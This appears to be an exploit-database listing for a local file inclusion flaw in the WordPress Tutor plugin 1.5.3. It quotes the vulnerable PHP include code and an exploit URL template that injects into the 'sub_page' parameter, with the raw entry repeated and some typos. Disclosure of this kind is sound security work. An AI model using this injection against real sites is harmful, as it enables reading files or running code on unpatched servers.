Wordpress Plugin tutor.1.5.3 - Local File Inclusion

vendor:

Wordpress Plugin tutor

by:

mehran feizi

8.8

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Wordpress Plugin tutor

Affected Version From: 1.5.3

Affected Version To: 1.5.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress_plugin:tutor

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2020

WordPress Plugin tutor.1.5.3 – Local File Inclusion

The vulnerability exists due to insufficient validation of user-supplied input in the 'sub_page' parameter of '/instructors.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary PHP code on the target system.

Mitigation:

Update to the latest version of the plugin.

Source

Exploit-DB raw data:

#  Tile: Wordpress Plugin tutor.1.5.3 - Local File Inclusion
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

===================================================================
Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================
contact me:
telegram: @MF0584
gmail: mehranfeizi13841384@gmail.com
===================================================================
Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================